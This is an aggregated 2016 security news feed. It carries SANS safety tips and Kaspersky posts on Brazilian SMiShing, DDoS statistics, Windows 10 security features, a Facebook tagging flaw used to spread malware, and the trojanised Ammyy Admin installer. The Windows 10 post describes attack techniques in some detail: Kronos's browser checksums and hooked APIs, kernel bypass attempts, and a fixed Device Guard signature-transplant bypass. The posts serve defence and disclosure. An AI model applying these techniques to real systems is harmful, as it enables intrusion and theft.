Malware RSS Feed

Two Home Computers

SANS Tip of the Day - Thu, 08/04/2016 - 01:00
If possible, have two computers at home -- one for parents and one for kids. If you are sharing a computer, make sure you have separate accounts for everyone and that kids do not have privileged access.

SMiShing and the rise of mobile banking attacks

Malware Alerts - Wed, 08/03/2016 - 05:02

Brazilian cybercriminals are clearly setting their sights on users of mobile banking, with a huge rise in incidents registered in the country over the last two years. In order to carry out these attacks they are using SMiShing (phishing via SMS) and registering new mobile phish domains created especially for this purpose.

In 2015, mobile banking usage in Brazil reached 11.2 billion transactions, an increase of 138% compared to the 4.7 billion transactions registered in 2014. Mobile banking is now the second most popular channel for accessing a bank account in the country – there are more than 33 million active accounts, according to the Brazilian Federation of Banks. Such numbers and the possibility of cheaply sending SMS messages are very attractive to cybercriminals, who are investing their time and effort to create new attacks.

Getting started doesn’t require that much money or preparation: first they need to register a domain (usually a .mobi domain), prepare a phishing page in mobile format, hire a bulk SMS service (as cheap as 2 cents per message sent, and generally paid for with a cloned credit card) and voilá! Getting the telephone numbers of the victims isn’t a problem either: huge databases of mobile numbers can easily be purchased on the Brazilian underground, or can be captured in attacks using WhatsApp as bait. The SMiShing messages inform recipients about a credit card or a bank account that has supposedly been blocked, and always include a link:

“Your data is outdated, your account may be blocked. Please update at <phish URL>” – an SMiShing message sent by phishers

Why target users of mobile banking? Because it’s easier to hack a bank account when accessed from a mobile terminal instead of a desktop. We’ve listed some of the reasons for that below:

  • No protection: most smartphone users in Brazil still don’t use a dedicated AV on their phones. A survey performed by B2B International in 2015 showed only 56% of smartphone owners around the world do so.
  • No security plugins: unlike desktops, most banks still don’t require the installation of a security plugin on user devices, despite most banks offering dedicated access via their mobile apps. Furthermore, fake mobile banking apps from Brazilian banks have also been found in the Play Store. When a criminal decides to phish a mobile banking user, it’s more effective if the attack is compatible with any mobile browser.
  • Simple authentication: most Brazilian banks use very simple authentication on mobile devices, usually just asking for the account number and a six-digit password.
  • Common SMS usage: it’s very common for banks in Brazil to send notifications via SMS. When you buy something or withdraw money for your account, you’ll receive an SMS confirming the operation. This approach has allowed Brazilian banks to decrease the number of fraud cases, in particular, this is because customers are aware of any fraud involving their credit cards or bank accounts as soon as it starts. Confusing a SMiShing message with a legit SMS from your bank is very easy.

The mobile versions of these phishing banking websites open correctly in the browser, facilitating the theft of user credentials. The phishers’ tactic is to force the user to access the website via their mobile devices, and not from a desktop. If the victim tries to access the phishing domain using their computer, the following message displayed:

“Service unavailable for desktops, only for mobile devices”

The phishing domain only shows its full content when access is made via a mobile browser:

The cybercriminals create phishing pages for several banks, in an array of colors and styles:

Most of the domains used in these attacks are using the .mobi TLD:

We published a list of some of the domains we found here (if you’re an AV guy, block them!).

It’s important to highlight one other thing: if access is made from an IP outside of Brazil, some domains will display nothing. It’s a method used by Brazilian phishers to keep their attacks alive for as long as possible, because if you don’t see it, you won’t block the domain. Users of our products, including the Safe Browser for iOS, Windows Phone, Android and Fraud Prevention solutions are protected against mobile phishing and SMiShing attacks.

CEO Fraud

SANS Tip of the Day - Tue, 08/02/2016 - 01:00
CEO Fraud is a type of targeted attack. It commonly involves a cyber criminally pretending to be your boss, then tricking or fooling you into sending the criminal highly sensitive information or initiating a wire transfer. Be highly suspicious of any emails demanding immediate action and/or asking you to bypass any security procedures.

Kaspersky DDoS Intelligence Report for Q2 2016

Malware Alerts - Mon, 08/01/2016 - 06:59

Q2 events
  • DDoS attacks on cryptocurrency wallet services have played an important role in the lives of these services. In the second quarter of 2016, two companies – CoinWallet and Coinkite – announced they were terminating their work due to lengthy DDoS attacks. According to Coinkite’s official blog, the e-wallet service will be shut down, as well as its API. The company admits that the decision was largely due to constant attacks and pressure from various governments who want to regulate cryptocurrency.
  • A piece of malware was detected that possesses worm functionality and builds a botnet of Linux-based routers (including Wi-Fi access points). It spreads via Telnet. An analysis of the worm’s code has shown that it can be used in various types of DDoS attacks.
  • Experts have registered a growing number of botnet C&C servers operating based on LizardStresser – a tool used to perform DDoS attacks. The LizardStresser source codes belong to the hacker group Lizard Squad and were made publically available at the end of 2015. This is what led to the increase in the number of botnets using new versions of the tool.
  • Researchers discovered a botnet consisting of 25 000 devices most of which are surveillance cameras. According to the experts, 46% of the infected devices are CCTV systems H.264 DVR. The other compromised devices were manufactured by ProvisionISR, Qsee, QuesTek, TechnoMate, LCT CCTV, Capture CCTV, Elvox, Novus, and MagTec CCTV.
  • A new botnet named Jaku located mainly in Japan and South Korea was detected. Researchers have stated that the botnet operators are focused on major targets: engineering companies, international organizations, scientific institutions.
  • A new modification of Cerber ransomware that uses an infected device to carry out DDoS attacks was discovered. This cryptor Trojan is responsible for sending the UDP packets in which it changes the sender address for the address of the victim. A host that receives the packet sends a reply to the victim’s address. This technique is used to organize a UDP flood, meaning that this Trojan, in addition to its basic ransomware functionality, also integrates the functionality of a DDoS bot.
Statistics for botnet-assisted DDoS attacks Methodology

Kaspersky Lab has extensive experience in combating cyber threats, including DDoS attacks of various types and levels of complexity. The company’s experts monitor botnet activity with the help of the DDoS Intelligence system.

Resources in 70 countries were targeted by DDoS attacks in Q2 2016 #KLReport

Tweet

The DDoS Intelligence system (part of Kaspersky DDoS Protection) is designed to intercept and analyze commands sent to bots from command and control (C&C) servers, and does not have to wait until user devices are infected or cybercriminal commands are executed in order to gather data.

This report contains the DDoS Intelligence statistics for the second quarter of 2016.

In the context of this report, a single (separate) DDoS attack is defined as an incident during which any break in botnet activity lasts less than 24 hours. If the same web resource was attacked by the same botnet after a break of more than 24 hours, this is regarded as a separate DDoS attack. Attacks on the same web resource from two different botnets are also regarded as separate attacks.

The geographic distribution of DDoS victims and C&C servers is determined according to their IP addresses. In this report, the number of DDoS targets is calculated based on the number of unique IP addresses reported in the quarterly statistics.

77.4% of targeted resources in Q2 2016 were located in China #KLReport

Tweet

It is important to note that DDoS Intelligence statistics are limited to those botnets detected and analyzed by Kaspersky Lab. It should also be noted that botnets are just one of the tools used to carry out DDoS attacks; therefore, the data presented in this report does not cover every DDoS attack that has occurred within the specified time period.

Q2 Summary
  • Resources in 70 countries were targeted by DDoS attacks in Q2 2016.
  • 77.4% of targeted resources were located in China.
  • China, South Korea and the US remained leaders in terms of the number of DDoS attacks and number of targets.
  • The longest DDoS attack in Q2 2016 lasted for 291 hours (or 12.1 days) – significantly longer than the previous quarter’s maximum (8.2 days).
  • SYN DDoS, TCP DDoS and HTTP DDoS remain the most common DDoS attack scenarios. The proportion of attacks using the SYN DDoS method increased 1.4 times compared to the previous quarter.
  • In Q2 2016, 70.2% of all detected attacks were launched from Linux botnets, which is almost double the figure for the first quarter.
Geography of attacks

In Q2 2016, the geography of DDoS attacks narrowed to 70 countries, with China accounting for 77.4% of attacks. In fact, 97.3% of the targeted resources were located in just 10 countries. The three most targeted countries remained unchanged – China, South Korea and the US.

Distribution of DDoS attacks by country, Q1 2016 vs. Q2 2016

This quarter’s statistics show that 94.3% of attacks had unique targets within the 10 most targeted countries.

Distribution of unique DDoS attack targets by country, Q1 2016 vs. Q2 2016

Here too China was the leader: 71.3% of all DDoS attacks targeted unique resources located in the country (vs. 49.7% in Q1).

In Q2 2016 China, South Korea and the US remained leaders in terms of the number of DDoS attacks #KLReport

Tweet

The growth in the proportion of attacks on Chinese resources resulted in a decline in the share of attacks on resources in the other TOP 10 countries: South Korea saw its share fall by 15.5 percentage points, while the contribution of the US fell by 0.7 p.p.

Russia left the TOP 5 after its share decreased by 1.3 p.p. Vietnam took Russia’s place after its share remained unchanged (1.1%). Germany and Canada both left the TOP 10 and were replaced by France and the Netherlands on 0.9% and 0.5% respectively.

Changes in DDoS attack numbers

DDoS activity was relatively uneven in Q2 2016, with a lull from late April till the end of May and two sharp peaks on 29 May and 2 June. The peak number of attacks in one day was 1,676, recorded on 6 June.

Number of DDoS attacks over time* in Q2 2016

*DDoS attacks may last for several days. In this timeline, the same attack can be counted several times, i.e. one time for each day of its duration.

The longest DDoS attack in Q2 2016 lasted for 291 hours (or 12.1 days) #KLReport

Tweet

An analysis of the data for the first half of 2016 shows that although the distribution of DDoS attack numbers by day of the week remains uneven, a steady upward trend is evident.

Number of DDoS attacks, Q1 2016 – Q2 2016

In Q2, Tuesday was the most active day of the week for DDoS attacks (15.2% of attacks), followed by Monday (15.0%). Thursday, which came second in Q1, fell one place (-1.4 p.p.). Sunday became the quietest day of the week in terms of DDoS attacks (13.0%).

Distribution of DDoS attack numbers by day of the week

Types and duration of DDoS attacks

The ranking of the most popular attack methods remained unchanged from the previous quarter. The SYN DDoS method has further strengthened its position as leader: its share increased from 54.9% to 76%. The proportion of the other types of attacks decreased slightly except for UDP DDoS whose contribution grew by 0.7 p.p. However, those little fluctuations did not affect the order of the Top 5.

Distribution of DDoS attacks by type

The growth in the popularity of SYN-DDoS is largely down to the fact that during the second quarter of 2016, 70.2% of all detected attacks came from Linux botnets. This was the first time in a number of quarters that there has been such an imbalance between the activity of Linux- and Windows-based DDoS bots. Previously, the difference had not exceeded 10 percentage points. Namely Linux bots are the most appropriate tool for using SYN-DDoS.

Correlation between attacks launched from Windows and Linux botnets

Attacks that last no more than four hours remained the most popular, although their share decreased from 67.8% in Q1 to 59.8% in Q2 of 2016. At the same time, the proportion of longer attacks increased considerably – attacks that lasted 20-49 hours accounted for 8.6% (vs. 3.9% in the first quarter) and those that lasted 50-99 hours accounted for 4% (vs. 0.8% in the previous quarter).

SYN DDoS, TCP DDoS and HTTP DDoS remain the most common DDoS attack scenarios in Q2 2016 #KLReport

Tweet

The longest DDoS attack in the second quarter of 2016 lasted for 291 hours, which significantly exceeded the Q1 maximum of 197 hours.

Distribution of DDoS attacks by duration (hours)

C&C servers and botnet types

In Q2, South Korea remained the clear leader in terms of the number of C&C servers located on its territory, with its share amounting to 69.6%, a 2 p.p. increase from the first quarter of 2016. The TOP 3 countries hosting the most C&C servers (84.8%) remained unchanged, while Brazil (2.3%), Italy (1%) and Israel (1%) all entered the TOP 10.

Distribution of botnet C&C servers by country in Q2 2016

As in previous quarters, 99.5% of DDoS targets in Q2 2016 were attacked by bots belonging to one family. Cybercriminals launched attacks using bots from two different families (used by one or more botnet masters) in just 0.5% of cases. The most popular families of the quarter were Xor, Yoyo and Nitol.

Conclusion

The second quarter of 2016 saw cybercriminals paying close attention to financial institutions working with cryptocurrency. Several of these organizations cited DDoS attacks as the reason for ceasing their activities. Intense competition leads to the use of unfair methods, one of which is the use of DDoS attacks. A strong interest on the part of the attackers is due to a particular feature of the businesses involved in processing cryptocurrency – not everyone is happy about the lack of regulation when it comes to cryptocurrency turnover.

In Q2 2016, 70.2% of all detected attacks were launched from Linux botnets #KLReport

Tweet

Another trend is the use of vulnerable IoT devices in botnets to launch DDoS attacks. In one of our earlier reports, we wrote about the emergence of a botnet consisting of CCTV cameras; the second quarter of 2016 saw a certain amount of interest in these devices among botnet organizers. It is possible that by the end of this year the world will have heard about some even more “exotic” botnets, including vulnerable IoT devices.

Shopping Online

SANS Tip of the Day - Fri, 07/29/2016 - 01:00
When shopping online, always use your credit cards instead of a debit card. If any fraud happens, it is far easier to recover your money from a credit card transaction. Gift cards and one-time-use credit card numbers are even more secure.

Windows 10: What’s New in the Security System

Malware Alerts - Thu, 07/21/2016 - 06:56

Operating system security is one of Microsoft’s priorities. The developers of the new generation of Windows have vigorously responded to the most significant and relevant threats that target the Windows platform by developing numerous security technologies that were previously available only in third-party solutions. The system has become better protected, making the life of cybercriminals more difficult.

Nevertheless, in some cases, the tools provided by the operating system are not sufficient – the developers have had to make compromises in a number of areas, which has negatively affected system security and makes it necessary to use third-party IT security tools.

Because it is so widespread, Windows has been, and remains, the target of choice for cybercriminals of all stripes. Each new version is researched thoroughly by thousands of blackhats in search of new moneymaking opportunities. Whitehats, for whom Windows is the main battleground in their fight against the bad guys, also explore it. Naturally, Kaspersky Lab always carries out a painstaking analysis of all changes introduced by Microsoft to the security system in order to provide its users with the best possible protection against cyberthreats.

This review consists of three parts devoted to the most prominent new Windows 10 features that affect security. These are the Microsoft Edge browser, virtualization-based security and an updated built-in anti-malware solution called Windows Defender. All of these features have brought new capabilities to the Windows security system, but, unfortunately, they also come with some weaknesses of their own. In this paper, we use examples to demonstrate how Windows 10 protection technologies work and how they can be complemented by third-party solutions to improve system security.

Microsoft Edge

The latest browser, Microsoft Edge, is intended to replace Internet Explorer. It is included in Windows 10 as the default browser. The company has worked hard to implement numerous new features, some of which are security-related.

Content Security Policy and HTTP Strict Transport Security technologies were introduced to combat cross-site scripting attacks. These technologies are designed not only to lower the chances of a successful attack but also to notify the web service’s owner about the attempt to carry it out.

Microsoft has also come up with ways to protect Edge against exploits, which were the curse of Internet Explorer. Now, by using containers and separating content handling operations into different processes, exploiting vulnerabilities has been made much more difficult. Finally, integration with SmartScreen should prevent users from visiting sites with malicious content.

In addition to supporting new technologies, the security of Edge has been enhanced by retiring vulnerable old ones. The browser no longer supports VML, BHO and ActiveX, which are used by a multitude of advertising apps and malicious browser add-ons.

When it comes to technologies, however, the real security level is only tested by real-world attacks. It is well known that Banker Trojans usually carry out MiTB (Man-in-The-Browser) attacks, injecting their code in the browser process and hooking networking functions, which enables malicious users to perform online banking operations in the name of someone using an infected computer.

Attacks of this type require a browser-specific, and often version-specific, approach, which is why banker Trojans are updated with such regularity. In November 2015, it was reported that the Dyreza Trojan had been given functionality that enabled it to attack Microsoft Edge. However, the activity of that particular botnet fell to zero soon afterwards: updates ceased to be released and the command-and-control servers were taken offline.

Another infamous banker Trojan, Kronos, caught up with Edge in 2016. We checked out its capabilities on a Windows 10 virtual machine. In the code of the new Kronos version we found a function that checks the name and checksum of a process, as well as the hashes of the functions hooked by the malware.

Function that identifies the browser based on the checksum of its process name

Kronos checks the process’s name, converts the string to lower case, calculates its checksum and squares it. The hash obtained in this way is checked against a table – if it is found there, the Trojan will attempt to hook the functions it needs in the browser’s process.

Browser process names known to the Trojan:

Process name Checksum iexplore.exe 0x64302d39 chrome.exe 0x05d66cc4 firefox.exe 0x39ace100 opera.exe 0x9420a4a1 microsoftedge.exe 0x9b6d5990 microsoftedgecp.exe 0x949b93d9

In order to perform malicious operations that will make money for its owners, Kronos hooks the functions that create and send HTTP requests in the Wininet library.

List of wininet.dll functions hooked:

API function Hash HttpOpenRequestA Y7D4D7E3T2T2A4U3 HttpQueryInfoA C8C0U1A2G4G5Y2B5 HttpSendRequestA Y4U1P2F2G7T2A4U3 InternetCloseHandle A7S3H3X3D5Y7T7F7 InternetConnectA H0S6D5Q7E8P3P6U5 InternetCrackUrlA E6F2A3S8Y4C7D5A5 InternetOpenA B7P8P7T4E3U2H5A5 InternetQueryOptionA C1Y0B7E2B0P2P3T7 InternetReadFile D6X2S6E3Q3C5B5X2 InternetSetOptionA X3Y6Q2T7Q5Q2A5X6

Kronos hooks functions using the splicing method, adding a JMP (unconditional jump) instruction at the beginning of the code. Since the malicious code injected into the browser is loaded as a shellcode rather than a library, the Mitigation Policy enabled in the browser will not block it from being executed.

InternetReadFile function hook in MicrosoftEdgeCP.exe

Handler for the hooked function

Successfully hooking these functions enables the Trojan to inject data into web pages. It also enables Kronos to get information about the user, the user’s credentials and bank account balance, to redirect the user to phishing sites, or to include additional entry fields to the bank’s legitimate page (enabling the malware to find out the user’s reply to the secret question, credit card number, date of birth or phone number).

Web injection on a bank’s page

Note that Kronos can only attack Edge on the 32-bit version of Windows 10. But this is not a fundamental constraint – there are now bankers that work with the 64-bit version of Edge, as well.

In the beginning of the year, a new modification of the infamous Gozi banker appeared. Among other things, it was designed to carry out an MiTB attack against Edge under a 64-bit version of Windows 10. The Trojan injects its code into the RuntimeBroker.exe process, launches the browser on behalf of that process and injects its code into the browser’s own processes.

Part of the function that checks process names for injection

As in the case of Kronos, the injected code hooks functions that create and send HTTP requests. However, instead of splicing, it substitutes IAT pointers as well as function addresses in the Export Table.

Part of the function that checks process names to set the right hooks for each browser

HttpSendRequestW hook set by Gozi banker in the MS Edge browser

Note that Windows Defender successfully blocks the current versions of Kronos and Gozi. Nevertheless, new malware and adware will emerge that is capable of using Edge for its own purposes.

Virtualization-Based Security

In the corporate version of Windows 10, Microsoft has implemented a new approach to security that is based on Microsoft Hyper-V, a hardware-assisted virtualization technology. The new paradigm, called Virtualization Based Security (VBS), is based on a whitelisting mechanism that only allows applications that are on the trusted-application list to be executed, and on isolating the most important services and data from other components of the operating system.

VBS depends on the platform and CPU features, which means that the technology needs the following to operate:

  • Windows 10 Enterprise.
  • UEFI firmware v2.3.1+ with Secure Boot support.
  • CPU supporting Intel VT-x/AMD-V virtualization features.
  • Ability to block some features of the UEFI firmware and its secure updating.
  • TPM (optional).

Microsoft uses the Hyper-V hypervisor as its virtualization platform. The less code a hypervisor contains, the fewer attack vectors against it exist. In this aspect, the compactness of Hyper-V is very beneficial for security. Unlike previous Windows versions, the hypervisor starts not as a kernel-mode driver but in UEFI, at an early stage of the computer’s startup.

Hyper-V initialization procedure

In VBS, with the hypervisor active, each virtual CPU is assigned a Virtual Trust Level (VTL) attribute. Two attributes are currently used: VTL 1 (“Secure World”) and VTL 0 (“Normal World”). VTL 1 is more privileged than VTL 0.

Secure Kernel Mode or SKM (Ring 0, VTL 1) includes a minimal kernel (SK), a Code Integrity (CI) module and an encryption module. Isolated User Mode or IUM (Ring 3, VTL 1) includes several isolated services called Trustlets that are isolated not only from the external world but also from each other. In “Normal World” (VTL 0) mode, the traditional kernel, kernel-mode drivers, processes and services work according to the former rules.

Diagram describing the two worlds

When the hypervisor is active, physical RAM pages and their attributes are only controlled by the secure isolated kernel (SK). It can manipulate page attributes, blocking or allowing reading, writing or executing code on specific pages. This makes it possible to prevent execution of untrusted code, malicious modification of trusted application code, as well as to make leaking protected data more difficult.

In this architecture, the only component that controls the execution of any code in the system is the secure isolated Code Integrity (CI) module. The kernel from “Normal World” cannot set the attributes of kernel-mode physical pages.

Credential Guard

Credential Guard is one of the main functional blocks of VBS. It isolates secrets in such a way as to ensure that only trusted code has access to them. This helps to withstand direct memory access (DMA) attacks, as well as pass-the-hash and pass-the-ticket attacks.

System Information. Credential Guard and HVCI

We have tested the technology, attempting to get secret data using direct memory access. We used Mimikatz and Inception hacker tools for this. Nothing worked. These hacker tools were powerless against Credential Guard.

DMA attack using the Inception tool

Device Guard

The Device Guard technology that is part of VBS is the successor of Microsoft AppLocker. It controls the launching and execution of all code: executable files and dynamic libraries, kernel-mode drivers and scripts (e.g., PowerShell). This is based on a code integrity policy created by the system administrator that defines which software is regarded as trusted.

The main difficulty in using Device Guard is in creating a proper policy, which can be difficult even for experienced system administrators. Ideally, the procedure is as follows:

  1. Enable the necessary Windows 10 VBS mechanisms on a test computer.
  2. Prepare a master image of Windows OS.
  3. Install all the necessary software.
  4. Create a code integrity policy based on certain rules and leave it in audit mode for some time. During this time, software can be added or changed.
  5. Watch the event log for CI events.
  6. Perform any necessary policy adjustments, such as signing any software that is not signed.
  7. Consolidate the original policy with the version created while the policy was in audit mode.
  8. Disable audit mode in the code integrity policy, replacing it with enforced mode.
  9. Distribute the prepared policy to end users.

A code integrity policy defines the conditions for executing code both in user mode (User Mode Code Integrity or UMCI) and in kernel mode (Kernel Mode Code Integrity or KMCI). Secure loading of the Windows kernel itself is provided by the Secure Boot technology. The integrity policy needs to be maintained and updated based on the software requirements in place at a specific organization.

In addition to the integrity policy, there are other restrictions on executing code. A physical memory page gets the “executable” attribute only if the certificate is validated. Additionally, a kernel-mode page cannot have “writable” and “executable” attributes at the same time (the W^X restriction), which prevents most exploits and hooks from working in kernel mode. In the event of an attempt to modify the contents of a kernel mode page that has “readable” and “executable” attributes, this will lead to an exception. If it is not handled, Windows will stop and display a BSOD.

As a result, it is impossible to execute unsigned drivers, applications, dynamic libraries, UEFI modules and some script types when the hypervisor and all the security options, such as Secure Boot, TPM, IOMMU, and SLAT are active. Depending on settings, code that is signed but not trusted can also be blocked from being executed.

To protect the policy from unauthorized changes or substitution, Microsoft suggests that it should be signed using a certificate generated by the administrator. To remove a policy or change settings, another policy signed with the same certificate is required. If an attempt is made to remove a policy or ‘plant’ an unsigned policy, the operating system will not start.

Still, Device Guard is not perfect. Increased protection comes at a price – in the form of performance degradation. This is unavoidable due to the presence of a hypervisor. The convoluted process of creating, configuring and maintaining a code integrity policy can be considered a weakness of the technology. The options used by the policy are scattered across the operating system and cannot be managed through a single control panel. As a result, it is easy to make a mistake, leading to weaker protection.

Since Secure Boot plays a key role in this technology, the level of protection very much depends on the quality of UEFI code, which is developed by a third party over which Microsoft has no control. Finally, the absence of protection against exploits in user mode is disappointing.

Testing VBS

If malicious code makes its way onto a computer with VBS by taking advantage of a vulnerability, it will have to elevate its privileges to kernel mode to be able to attack the hypervisor, the “Secure World” or UEFI. We tried to do this using a signed and trusted kernel mode driver.

Kernel mode penetration testing results:

Test Result Test Result W+X PE section .INIT + (by design) Allocate NP/P MEM, hack PTE manually + (BSOD) W^X PE section .INIT + (as is) R+X section, remove WP in CR0 + (BSOD) W+X PE section + (no start) Stack code execution + (BSOD) Allocate MEM, execute + (BSOD) Allocate MEM, hack MDL manually + (BSOD) R PE section, write, execute + (BSOD)

None of the attack methods that we tried was successful. Attacks based on changing Control Registers (CR0-CR8, EFER etc.) and Model-Specific Registers (MSR) did not work either – they all invariably ended in a Privileged Instruction exception (0xC0000096).

We also carried out some tests in user mode, trying to circumvent a code integrity policy in enforced mode. The objective was to execute an unsigned application or load an unsigned dynamic library into a trusted process. We were unable to do this directly, but we found a curious error in the Windows 10 preview release (10154).

The error lies in the fact that, although Device Guard checks whether an application, driver or library is signed, it does not verify that the signature is valid for the application signed with it. This makes it possible to extract a valid signature from any trusted application and insert it into any untrusted application – after this the system will consider the application to be trusted. So, by inserting a signature from another application, we were able to execute an untrusted application and to load an untrusted dynamic library.

We immediately reported the error to Microsoft and it was fixed within a few days. Windows 10 RTM (10240) does not include that error.

We also discovered a denial-of-service error that makes it possible to crash the system and cause a BSOD for the hypervisor from the user space with just one Assembler instruction. A fix for this error was included in Windows 10 TH3 (10586).

The hypervisor’s BSOD

Overall, Microsoft has done a great job in developing new security mechanisms. However, as in previous versions, there are still opportunities for attacks via the firmware. Another problem is that the system administrator needs to be highly qualified to configure protection properly. In the event of faulty configuration or loss of the private certificate, all protection becomes useless. In addition, there is no protection against user-mode vulnerabilities. It is also important to keep in mind that VBS is only available to users of the corporate Windows 10 version.

We have notified Microsoft of all the vulnerabilities discovered during testing.

Built-in Anti-Malware Protection in Windows

Let’s have a look at the Windows component that protects the system against malware in real time. It is enabled by default and, for users who do not install third-party anti-malware solutions, it is the main Windows IT security tool.

The principal purpose of built-in protection is to prevent the installation and execution of malware. It scans files and active processes in real time, identifying those that are malicious by checking them against a regularly updated signature database. In most cases, this protection is sufficient.

However, if you are an active Internet user and often perform critically important operations on your computer – such as managing your bank accounts via online banking – you need multi-tier protection. Even the best anti-malware solution can miss new, as yet unknown malware. In this case, only additional layers of protection can save the day by preventing a Trojan from carrying out malicious activity in the system.

We did some research and found a few real-life examples demonstrating that built-in protection may not be sufficient.

Keystroke Interception

Some banker Trojans intercept data entered on the keyboard to steal the user’s online banking account. Examples of such malware include Qadars, Zbot and Cridex. Many anti-malware solutions, including Kaspersky Internet Security, have a component that detects and blocks attempts by programs to intercept the sequence of keypresses. In some cases, this can be enough to prevent criminals from making money at the victim’s expense, even if they have managed to infect the computer.

We tested the response of built-in protection to keystroke logging with the help of a test application that uses the GetAsyncKeyState WinAPI function (this method is similar to the one used in the latest MRG testing). We were able to intercept the user’s login and password for a PayPal account with Windows Defender enabled.

Logging the user credentials while entering a PayPal account

Unauthorized Web Camera Access

In the next test, we tried to gain unauthorized access to the web camera. This functionality has been increasingly used in Trojans and other hacker tools in the past years. The fact that a surveillance module using the web camera is included in the AdWind Trojan is a telling example of the popularity of this functionality among cybercriminals.

Monitoring victims using their own web cameras can provide a wealth of information about them, which can later be used to make money illegally – for example, by blackmailing a victim with intimate videos.

Some anti-malware solutions can control application access to the camera. In real life, there are practically no situations in which a legitimate application could need to use the camera without notifying the user, which is why providing such notifications is a convenient and widely accepted practice. The user can decide in each specific case whether the application really needs to use the camera or whether this is suspicious activity that should be blocked.

Our test application used a publicly available library called OpenCV (which is what the Rover Trojan does, to give one example). A simple Python script captured video from the web camera and displayed it in a separate window. This means that an application was able to intercept video from the web camera on a Windows 10 machine with protection enabled, without the user being notified of this in any way.

Capturing the screen with a script

Control of Drive-By Downloads

Another problem that is among the most serious issues faced by Windows users is the numerous exploits that can be used to infect the system via vulnerabilities in various applications. We tested the built-in protection with one of the latest exploits for the CVE-2016-1019 vulnerability in Adobe Flash Player.

The exploit’s file is an SWF object compressed using the ZLIB algorithm.

The flash exploit

In this form, the file is recognized by the Windows Defender and quarantined.

Successful detection of a packed exploit

However, if the file is decompressed into the original SWF, the security system will miss it.

Moreover, a compressed file that was detected on the hard drive is downloaded from websites in drive-by attacks and successfully executed from the browser’s context. If a vulnerable version of Adobe Flash Player is installed in the system, an infection can occur, because Windows Defender does not include a drive-by download control component.

Successful download of a Flash exploit that was previously detected on the hard drive

Conclusion

Today, a multi-tier approach is required to provide reliable protection for user systems, combining standard detection methods (signature-based analysis, behavioral analysis, etc.) with additional modules designed to detect attack techniques commonly used by cybercriminals.

As our brief review has demonstrated, in some cases the IT security technologies built into Windows 10 are not sufficient for full-scale protection against malicious attacks. As in previous Windows versions, all possible attack vectors should be blocked using dedicated Internet Security class security solutions.

Facebook malware – the missing piece

Malware Alerts - Thu, 07/21/2016 - 02:58

 Download the full report (PDF)

In our last blogpost, Facebook malware: tag me if you can, we revealed a phishing campaign led by Turkish-speaking threat actors who exploited social networks to spread a Trojan that compromises the victim’s machine and captures its entire browser traffic. The report did not address the issue of lateral movement because Kaspersky Lab researchers were still investigating it.

After two weeks of research, Kaspersky Lab researcher Ido Naor, and Dani Goland, the CEO & co-founder of Israel-based company Undot, managed to extract the proverbial needle from a haystack: a Facebook vulnerability that allowed an attacker to replace the comment identifier parameter attached to each web/mobile Facebook comment with an identifier that was reserved for embedded plugins usually located on third-party websites (where they allowed visitors to comment with their Facebook identity).

By tampering with the comment identifier, the attacker was able to create a post on the victim’s Facebook timeline, tag their entire ‘Friends’ list in a comment to the post (which will store the array of tagged users in Facebook servers), and then replace the comment identifier with a third-party Facebook comments plugin identifier (controlled by the attacker) and delete the tagging. Since the notifications were already stored and “shipped” to the tagged friends, the act of replacing the web comment identifier with a Facebook plugin comment identifier resulted in the redirection of the tagged user outside of the Facebook platform, to a malicious link which instantly downloaded a Windows JSE file. And where would be the best place to store such file if not in the victim’s cloud storage – Google Docs / Dropbox? If those were not present, the malware had a fail-safe mechanism that sent a tinyurl link as a Facebook message to the victim’s entire Facebook friends list and, just in case the message wasn’t delivered, a malicious Google short link was posted on the victim’s timeline along with a convincing message that contained pictures of the victim’s friends.

Facebook has now fixed the issue and blocked the vulnerability that was a key feature in spreading the malware.

It is worth mentioning that the code responsible for the vulnerability is filled with strings and variable names in the Spanish language, suggesting that whoever wrote it is not necessarily part of the Turkish-speaking group.

Looking at the complexity of the code puts it in an even more questionable position regarding the author’s identity. In addition, the file is completely dynamic and adaptive to every action made by an analyst, preventing them from fully inspecting the code.

Lurk: a danger where you least expect it

Malware Alerts - Mon, 07/18/2016 - 05:02

While we were researching the malicious program Lurk in early February 2016, we discovered an interesting oddity in how this banking Trojan spreads. From the data we had, it emerged that the users attacked by Lurk also installed the remote administration software Ammyy Admin on their computers. At first, we didn’t really give this much thought, but further research showed that the official Ammyy Admin website had most probably been compromised, and the Trojan had been downloaded to users’ computers along with the legitimate Ammyy Admin software.

It turned out that on the official site of Ammyy Admin (which is used for remote desktop access) there was an installer that did not have a digital signature and was an NSIS archive. When this archive was launched, two files were created in a temporary folder and launched for execution:

  • aa_v3.exe – installer of the administration tool Ammyy Admin, signed with a digital signature;
  • ammyysvc.exe – malicious spyware program Trojan-Spy.Win32.Lurk.

In other words, the Ammyy Admin installer available for download on the manufacturer’s official website is basically a dropper Trojan designed to stealthily install a malicious program in the system, while displaying a screen mimicking the installation of legitimate software. We found out that the dropper was being distributed on a regular basis (with short breaks) over several hours on weekdays.

Last November other researchers wrote about this same method of distributing malware, however that publication did not stop the distribution of the Trojan.

Official Ammyy Admin website. Note the ‘Download’ button

By the way, some browsers (e.g. Mozilla Firefox) were flagging the www.ammyy.com website as potentially dangerous at the time of writing this post, and warning about the presence of unwanted software.

Mozilla Firefox warning page displayed when an attempt is made to access www.ammyy.com

To ensure successful distribution of the malicious program, the cybercriminals modified the PHP script on the Ammyy Group web server in such a way that the malicious dropper was provided when a download request was made.

An external function was added to the PHP script on the web server

In early April, the cybercriminals uploaded a new, slightly modified dropper for distribution. At launch, it used the function GetComputerNameExA to check if the computer being infected was part of a corporate network; if so, it launched the Lurk malicious program along with the remote administration tool. This shows that the cybercriminals were specifically hunting for corporate workstations and servers.

We should note that attacks of this type (Watering Hole) are very effective, and doubly dangerous if they target the users of a remote administration software tool: administrators using such a tool might presume that a malware (or malicious activity) detection event reported by their security software is a false positive triggered by the presence of the remote administration tool itself, and allow the detected activity. Moreover, they could disable protection or add the malicious program to the tracking and checking exemption list, thus allowing it to infect the computer. Kaspersky Lab products detect this type of legitimate software (remote administration tools), but with a ‘not-a-virus’ verdict, displaying a yellow detection notification window. This is done in order to keep the user informed when remote access software is launched on a computer, because this type of software was used by Lurk operators without the victim’s knowledge or consent, and is still used by cybercriminals distributing other malware adapted to steal money.

As soon as we discovered that the Ammyy Group website had been breached and was distributing a malicious program, we reported it to the company’s representatives. After that, as Ammyy Group communicated, the site was checked, and the alien code was removed. In February, we notified the company of three such instances when malware was being distributed, and each time the problem was solved, although only temporarily.

